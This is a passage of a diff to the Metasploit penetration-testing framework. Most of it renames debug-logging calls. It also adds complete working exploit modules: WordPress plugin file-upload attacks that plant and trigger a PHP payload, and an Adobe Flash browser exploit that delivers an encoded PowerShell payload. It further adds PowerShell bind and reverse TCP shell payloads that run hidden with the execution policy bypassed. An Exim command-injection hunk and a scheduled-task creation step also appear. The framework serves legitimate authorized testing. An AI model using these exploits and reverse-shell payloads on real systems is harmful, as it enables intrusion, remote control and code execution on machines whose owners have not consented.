main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"")
main.gsub!(/COUNT/, datastore["Count"].to_s)
main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG']
main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG_EXPLOIT']
cpu = nil
if target['Arch'] == ARCH_X86
@ -349,7 +349,7 @@ int main(int argc,char *argv[], char ** envp)
rm_f executable_path
write_file(executable_path, elf)
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
output.each_line { |line| print_debug line.chomp }
output.each_line { |line| vprint_status(line.chomp) }
stime = Time.now.to_f
print_status "Starting the payload handler..."

View File

@ -66,7 +66,7 @@ class Metasploit4 < Msf::Exploit::Local
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
])
register_options([
OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
])
end
@ -85,7 +85,7 @@ class Metasploit4 < Msf::Exploit::Local
#endif
|
current_task_struct_h(sc)
if datastore["DEBUG"]
if datastore["DEBUG_EXPLOIT"]
cparser.parse "#define DEBUG\n"
end
@ -446,7 +446,7 @@ int main(int argc, char **argv) {
rm_f executable_path
write_file(executable_path, elf)
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
output.each_line { |line| print_debug line.chomp }
output.each_line { |line| vprint_status(line.chomp) }
end

View File

@ -195,8 +195,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
def execute_command(cmd, opts)
vprint_debug(cmd)
# Get the length of the command, for the backdoor's command injection
cmd_length = cmd.length

View File

@ -97,7 +97,7 @@ class Metasploit4 < Msf::Exploit::Remote
rescue
peer = "#{rhost}:#{rport}"
vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}")
vprint_status("#{peer} - Caught #{$!.class}: #{$!.message}")
ensure
smtp_disconnect
@ -160,14 +160,14 @@ class Metasploit4 < Msf::Exploit::Remote
16.times do
done = catch(:another_heap_shift) do
heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
print_debug("#{{ heap_shift: heap_shift }}")
vprint_status("#{{ heap_shift: heap_shift }}")
# write the malloc_chunk header at increasing offsets (8-byte step),
# until we overwrite the "503 sender not yet given" error message
128.step(256, 8) do |write_offset|
error = try_information_leak(heap_shift, write_offset)
print_debug("#{{ write_offset: write_offset, error: error }}")
vprint_status("#{{ write_offset: write_offset, error: error }}")
throw(:another_heap_shift) if not error
next if error == "503 sender not yet given"
@ -179,7 +179,7 @@ class Metasploit4 < Msf::Exploit::Remote
error[i] = try_information_leak(heap_shift, write_offset + i*8)
throw(:another_heap_shift) if not error[i]
end
print_debug("#{{ error: error }}")
vprint_status("#{{ error: error }}")
_leaked_arch = leaked_arch
if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
@ -197,7 +197,7 @@ class Metasploit4 < Msf::Exploit::Remote
else
throw(:another_heap_shift)
end
print_debug("#{{ leaked_arch: leaked_arch }}")
vprint_status("#{{ leaked_arch: leaked_arch }}")
fail_with(Failure::BadConfig, "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
# try different large-bins: most of them should be empty,
@ -211,7 +211,7 @@ class Metasploit4 < Msf::Exploit::Remote
next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
count[error] += 1
end
print_debug("#{{ count: count }}")
vprint_status("#{{ count: count }}")
throw(:another_heap_shift) if count.empty?
# convert count to a nested array of [key, value] arrays and sort it
@ -345,7 +345,7 @@ class Metasploit4 < Msf::Exploit::Remote
encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
print_debug(command)
vprint_status("Command: #{command}")
# don't try to execute commands directly, try a very simple ACL first,
# to distinguish between exploitation-problems and shellcode-problems
@ -407,9 +407,9 @@ class Metasploit4 < Msf::Exploit::Remote
# (we don't control what's stored at heap_addr)
rand_offset = rand(max_rand_offset)
print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
vprint_status("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
print_debug("#{{ reply: reply }}") if reply
vprint_status("#{{ reply: reply }}") if reply
if reply and
reply[:code] == "550" and
@ -419,7 +419,7 @@ class Metasploit4 < Msf::Exploit::Remote
print_good("Please wait for reply...")
# execute command this time, not acldrop
reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
print_debug("#{{ reply: reply }}")
vprint_status("#{{ reply: reply }}")
return handler
end

View File

@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
OptBool.new('DEBUG', [false, "Display some alert()'s for debugging the payload.", false])
OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
], Auxiliary::Timed)
end
@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
# @return [String] containing javascript that will alert a debug string
# if the DEBUG is set to true
def js_debug(str, quote="'")
if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end
if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
end
# @return [String] HTML that is sent in the first response to the client

View File

@ -97,10 +97,10 @@ class Metasploit3 < Msf::Exploit::Remote
end
def on_request_uri( cli, request )
print_debug("Requesting: #{request.uri}")
vprint_status("Requesting: #{request.uri}")
if request.uri !~ /\.jar$/i
if not request.uri =~ /\/$/
print_status("Sending redirect...")
vprint_status("Sending redirect...")
send_redirect(cli, "#{get_resource}/", '')
return
end

View File

@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote
md5_base64 = phpass_encode64(md5, md5.length)
md5_stripped = md5_base64[0...22]
pass = "$P\\$" + iter_char + salt + md5_stripped
vprint_debug("#{peer} - password hash: #{pass}")
vprint_status("#{peer} - password hash: #{pass}")
return pass
end
@ -129,8 +129,8 @@ class Metasploit3 < Msf::Exploit::Remote
form_build_id = $1 if content =~ /name="form_build_id" value="(.+?)"/
form_token = $1 if content =~ /name="form_token" value="(.+?)"/
vprint_debug("#{peer} - form_build_id: #{form_build_id}")
vprint_debug("#{peer} - form_token: #{form_token}")
vprint_status("#{peer} - form_build_id: #{form_build_id}")
vprint_status("#{peer} - form_token: #{form_token}")
return form_build_id, form_token
end
@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
cookie = res.get_cookies
vprint_debug("#{peer} - cookie: #{cookie}")
vprint_status("#{peer} - cookie: #{cookie}")
# call admin interface to extract CSRF token and enabled modules
print_status("#{peer} - Trying to parse enabled modules")
@ -280,7 +280,7 @@ class Metasploit3 < Msf::Exploit::Remote
# get administrator role id
id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
vprint_debug("#{peer} - admin role id: #{id}")
vprint_status("#{peer} - admin role id: #{id}")
unless id
fail_with(Failure::Unknown, "Could not parse out administrator ID")

View File

@ -80,21 +80,21 @@ class Metasploit3 < Msf::Exploit::Remote
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"
}, timeout=datastore['TIMEOUT'])
if (res and res.code == 302 and res.headers['Location'])
vprint_debug("Server sent a 302 with location")
if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29))
report_vuln({
:host => rhost,
:port => rport,
:name => "#{self.name} - #{uri}",
:refs => self.references,
:info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource."
})
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
vprint_status("Server sent a 302 with location")
if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29))
report_vuln({
:host => rhost,
:port => rport,
:name => "#{self.name} - #{uri}",
:refs => self.references,
:info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource."
})
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Unknown
return Exploit::CheckCode::Unknown
end
# If we reach this point, we didn't find the service
@ -205,8 +205,6 @@ EOJSP
def get_full_path(filename)
#vprint_debug("Trying to find full path for #{filename}")
uri = target_uri.path
res = send_request_cgi(
{
@ -220,7 +218,6 @@ EOJSP
# the user argument should be set to the result of our call - which
# will be the full path of our file
matches = /.*user=(.+)\&.*/.match(res.headers['Location'])
#vprint_debug("Location is " + res.headers['Location'])
if (matches and matches.captures)
return Rex::Text::uri_decode(matches.captures[0])
else
@ -241,16 +238,16 @@ EOJSP
append = 'false'
while (data.length > chunk_size)
status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])
if status
vprint_debug("Uploaded chunk")
else
vprint_error("Failed to upload chunk")
break
end
data = data[chunk_size, data.length - chunk_size]
# first chunk is an overwrite, afterwards, we need to append
append = 'true'
status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])
if status
vprint_status("Uploaded chunk")
else
vprint_error("Failed to upload chunk")
break
end
data = data[chunk_size, data.length - chunk_size]
# first chunk is an overwrite, afterwards, we need to append
append = 'true'
end
status = upload_file_chunk(@payload_exe, 'true', data)
if status
@ -290,7 +287,7 @@ EOJSP
return
end
vprint_debug("Sending in chunks of #{chunk_size}")
vprint_status("Sending in chunks of #{chunk_size}")
case target['Platform']
when 'java'

View File

@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_warning("#{peer} - File upload may have failed")
return fname
else
vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}")
vprint_status("#{peer} - Received response: #{res.code} - #{res.body}")
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
end
end

View File

@ -0,0 +1,79 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress InBoundio Marketing PHP Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary file upload in the WordPress InBoundio Marketing version
2.0. It allows to upload arbitrary php files and get remote code execution. This module
has been tested successfully on WordPress InBoundio Marketing 2.0.3 with Wordpress 4.1.3 on
Ubuntu 14.04 Server.
},
'Author' =>
[
'KedAns-Dz', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '36478'],
['OSVDB', '119890'],
['WPVDB', '7864']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['InBoundio Marketing 2.0', {}]],
'DisclosureDate' => 'Mar 24 2015',
'DefaultTarget' => 0)
)
end
def check
check_plugin_version_from_readme('inboundio-marketing')
end
def exploit
php_page_name = rand_text_alpha(8 + rand(8)) + '.php'
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{php_page_name}\"")
post_data = data.to_s
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'inboundio-marketing', 'admin', 'partials', 'csv_uploader.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)
if res
if res.code == 200 && res.body.include?(php_page_name)
print_good("#{peer} - Our payload is at: #{php_page_name}.")
register_files_for_cleanup(php_page_name)
else
fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, 'Server did not answer')
end
print_status("#{peer} - Calling payload...")
send_request_cgi(
{ 'uri' => normalize_uri(wordpress_url_plugins, 'inboundio-marketing', 'admin', 'partials', 'uploaded_csv', php_page_name) },
5
)
end
end

View File

@ -0,0 +1,79 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress WPshop eCommerce Arbitrary File Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary file upload in the WordPress WPshop eCommerce plugin
from version 1.3.3.3 to 1.3.9.5. It allows to upload arbitrary PHP code and get remote
code execution. This module has been tested successfully on WordPress WPshop eCommerce
1.3.9.5 with WordPress 4.1.3 on Ubuntu 14.04 Server.
},
'Author' =>
[
'g0blin', # Vulnerability Discovery, initial msf module
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module Pull Request
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '7830'],
['URL', 'https://research.g0blin.co.uk/g0blin-00036/']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WPshop eCommerce 1.3.9.5', {}]],
'DisclosureDate' => 'Mar 09 2015',
'DefaultTarget' => 0)
)
end
def check
check_plugin_version_from_readme('wpshop', '1.3.9.6', '1.3.3.3')
end
def exploit
php_page_name = rand_text_alpha(5 + rand(5)) + '.php'
data = Rex::MIME::Message.new
data.add_part('ajaxUpload', nil, nil, 'form-data; name="elementCode"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"wpshop_file\"; filename=\"#{php_page_name}\"")
post_data = data.to_s
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'wpshop', 'includes', 'ajax.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)
if res
if res.code == 200 && res.body =~ /#{php_page_name}/
print_good("#{peer} - Payload uploaded as #{php_page_name}")
register_files_for_cleanup(php_page_name)
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, "#{peer} - Server did not answer")
end
print_status("#{peer} - Calling payload...")
send_request_cgi(
{ 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', php_page_name) },
5
)
end
end

View File

@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec Endpoint Protection Manager Remote Command Execution',
'Name' => 'Symantec Endpoint Protection Manager /servlet/ConsoleServlet Remote Command Execution',
'Description' => %q{
This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager
versions 11.0, 12.0 and 12.1. When supplying a specially crafted XML external entity (XXE) request an attacker
@ -32,10 +32,12 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-5014' ],
[ 'CVE', '2013-5015' ],
[ 'EDB', '31853'],
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
['CVE', '2013-5014'],
['CVE', '2013-5015'],
['OSVDB', '103305'],
['OSVDB', '103306'],
['EDB', '31853'],
['URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt']
],
'Arch' => ARCH_X86,
'Platform' => 'win',

View File

@ -15,15 +15,16 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec Workspace Streaming Arbitrary File Upload',
'Name' => 'Symantec Workspace Streaming ManagementAgentServer.putFile XMLRPC Request Arbitrary File Upload',
'Description' => %q{
This module exploits a code execution flaw in Symantec Workspace Streaming. The
vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the
as_agent.exe service, which allows for uploading arbitrary files under the server root.
This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order
to achieve remote code execution. This module has been tested successfully on Symantec
Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single
machine deployment, and also in the backend role in a multiple machine deployment.
Workspace Streaming 6.1 SP8 and Windows 2003 SP2, and reported to affect 7.5.0.x.
Abused services listen on a single-machine deployment and also in the backend role in
a multiple-machine deployment.
},
'Author' =>
[
@ -34,6 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
'References' =>
[
['CVE', '2014-1649'],
['OSVDB', '106923'],
['BID', '67189'],
['ZDI', '14-127'],
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00']
@ -51,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file)
OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse jboss auto deploy)
OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse JBoss auto deploy)
], self.class)
end
@ -227,11 +229,11 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
print_status("#{peer} - Leaking the jboss deployment directory...")
print_status("#{peer} - Leaking the JBoss deployment directory...")
jboss_path =jboss_deploy_path
if jboss_path.nil?
fail_with(Failure::Unknown, "#{peer} - Failed to disclose the jboss deployment directory")
fail_with(Failure::Unknown, "#{peer} - Failed to disclose the JBoss deployment directory")
end
print_status("#{peer} - Building WAR payload...")

View File

@ -0,0 +1,108 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory',
'Description' => %q{
This module exploits an unintialized memory vulnerability in Adobe Flash Player. The
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, which fails
to initialize allocated memory. When using a correct memory layout this vulnerability
leads to a ByteArray object corruption, which can be abused to access and corrupt memory.
This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with
Flash 15.0.0.189.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Joly', # Vulnerability discovery
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2014-8440'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-24.html'],
['URL', 'http://malware.dontneedcoffee.com/2014/11/cve-2014-8440.html'],
['URL', 'http://www.verisigninc.com/en_US/cyber-security/security-intelligence/vulnerability-reports/articles/index.xhtml?id=1081']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^15\./ && ver <= '15.0.0.189' },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Nov 11 2014',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-8440', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end

View File

@ -235,10 +235,6 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_line()
print_error(res.to_s)
end
end
handler

View File

@ -157,10 +157,6 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_error('')
print_error(res.to_s)
end
end
handler

View File

@ -157,10 +157,6 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_error('')
print_error(res.to_s)
end
end
handler

View File

@ -91,10 +91,6 @@ class Metasploit3 < Msf::Exploit::Remote
# nothing
end
if (datastore['DEBUG'])
print_status("Headers:\n" + headers.inspect)
print_status("Body:\n" + body.inspect)
end
disconnect
[headers, body]
end

View File

@ -116,7 +116,6 @@ class Metasploit3 < Msf::Exploit::Local
print_status("Creating task: #{taskname}")
cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
# print_debug("Will Execute:\n\t#{cmdline}")
exec_schtasks(cmdline, "create the task")
#

View File

@ -59,9 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
#print_debug("File to upload: #{file}")
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
#print_debug(pkt_size)
# Magic_code + packing + size
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')

View File

@ -0,0 +1,77 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/base/sessions/powershell'
module Metasploit3
CachedSize = 1342
include Msf::Payload::Single
include Rex::Powershell::Command
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
'Description' => 'Interacts with a powershell session on an established socket connection',
'Author' =>
[
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
'References' =>
[
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
],
'License' => MSF_LICENSE,
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::PowerShell,
'RequiredCmd' => 'generic',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_options(
[
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
], self.class)
end
def generate
lport = datastore['LPORT']
lhost = datastore['LHOST']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
script_in << "\npowerfun -Command bind"
mods = ''
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
end
end

View File

@ -0,0 +1,78 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/base/sessions/powershell'
module Metasploit3
CachedSize = 1342
include Msf::Payload::Single
include Rex::Powershell::Command
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
'Description' => 'Interacts with a powershell session on an established socket connection',
'Author' =>
[
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
'References' =>
[
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
],
'License' => MSF_LICENSE,
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::PowerShell,
'RequiredCmd' => 'generic',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_options(
[
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
], self.class)
end
def generate
lport = datastore['LPORT']
lhost = datastore['LHOST']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
script_in << "\npowerfun -Command reverse"
mods = ''
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
end
end

View File

@ -0,0 +1,84 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/exec'
require 'msf/base/sessions/powershell'
###
#
# Extends the Exec payload to add a new user.
#
###
module Metasploit3
CachedSize = 1543
include Msf::Payload::Windows::Exec
include Rex::Powershell::Command
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
'Description' => 'Listen for a connection and spawn an interactive powershell session',
'Author' =>
[
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
'References' =>
[
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::PowerShell,
))
# Register command execution options
register_options(
[
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
], self.class)
# Hide the CMD option...this is kinda ugly
deregister_options('CMD')
end
#
# Override the exec command string
#
def command_string
lport = datastore['LPORT']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
script_in = File.read(template_path)
script_in << "\npowerfun -Command bind"
mods = ''
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
end
end

View File

@ -0,0 +1,84 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/exec'
require 'msf/base/sessions/powershell'
###
#
# Extends the Exec payload to add a new user.
#
###
module Metasploit3
CachedSize = 1527
include Msf::Payload::Windows::Exec
include Rex::Powershell::Command
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
'Description' => 'Listen for a connection and spawn an interactive powershell session',
'Author' =>
[
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
'References' =>
[
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::PowerShell,
))
# Register command execution options
register_options(
[
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
], self.class)
# Hide the CMD option...this is kinda ugly
deregister_options('CMD')
end
#
# Override the exec command string
#
def command_string
lport = datastore['LPORT']
lhost = datastore['LHOST']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
